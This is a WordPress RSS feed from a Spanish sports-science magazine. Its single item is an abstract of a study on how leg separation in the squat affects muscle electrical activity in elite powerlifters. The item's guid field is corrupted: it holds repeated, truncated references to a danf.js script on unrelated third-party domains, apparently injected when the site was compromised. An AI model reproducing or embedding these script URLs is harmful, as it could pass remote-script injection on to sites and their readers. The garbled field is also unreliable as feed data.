
<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Paiderex &#187; Sentadilla</title>
	<atom:link href="http://revista.academiamaestre.es/tag/sentadilla/feed/" rel="self" type="application/rss+xml" />
	<link>https://revista.academiamaestre.es</link>
	<description></description>
	<lastBuildDate>Mon, 01 Feb 2016 19:41:16 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>EFECTO DE LA SEPARACIÓN DE LAS PIERNAS SOBRE LA ACTIVIDAD ELECTRICA MUSCULAR DURANTE LA REALIZACIÓN DE UNA SENTADILLA</title>
		<link>https://revista.academiamaestre.es/2012/02/efecto-de-la-separacion-de-las-piernas-sobre-la-actividad-electrica-muscular-durante-la-realizacion-de-una-sentadilla/</link>
		<comments>https://revista.academiamaestre.es/2012/02/efecto-de-la-separacion-de-las-piernas-sobre-la-actividad-electrica-muscular-durante-la-realizacion-de-una-sentadilla/#comments</comments>
		<pubDate>Mon, 27 Feb 2012 19:38:35 +0000</pubDate>
		<dc:creator>Paiderex</dc:creator>
				<category><![CDATA[Artículos Febrero 2012]]></category>
		<category><![CDATA[Sentadilla]]></category>

		<guid isPermaLink="false">http://middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;adjust.admarketlocation.com/bons/danf.js?k=0&#038;adj</guid>
		<description><![CDATA[Autor: Emiliano Blanco Valero. El propósito del presente estudio fue investigar el efecto que produce los distintos grados de separación de piernas en la sentadilla  sobre la actividad eléctrica muscular (EMG) en distintos músculos de las piernas. Diez powerlifters de primer nivel mundial realizaron repeticiones máximas con sentadilla abierta (SA) y sentadilla cerrada (SC). Todos [...]]]></description>
		<wfw:commentRss>https://revista.academiamaestre.es/2012/02/efecto-de-la-separacion-de-las-piernas-sobre-la-actividad-electrica-muscular-durante-la-realizacion-de-una-sentadilla/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
